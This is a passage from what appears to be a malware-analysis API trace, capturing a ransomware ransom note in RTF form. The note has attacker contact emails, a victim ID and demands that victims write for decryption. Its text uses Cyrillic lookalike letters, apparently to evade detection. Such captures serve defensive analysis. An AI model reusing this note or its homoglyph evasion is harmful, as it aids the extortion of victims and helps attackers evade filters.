PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.590] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd 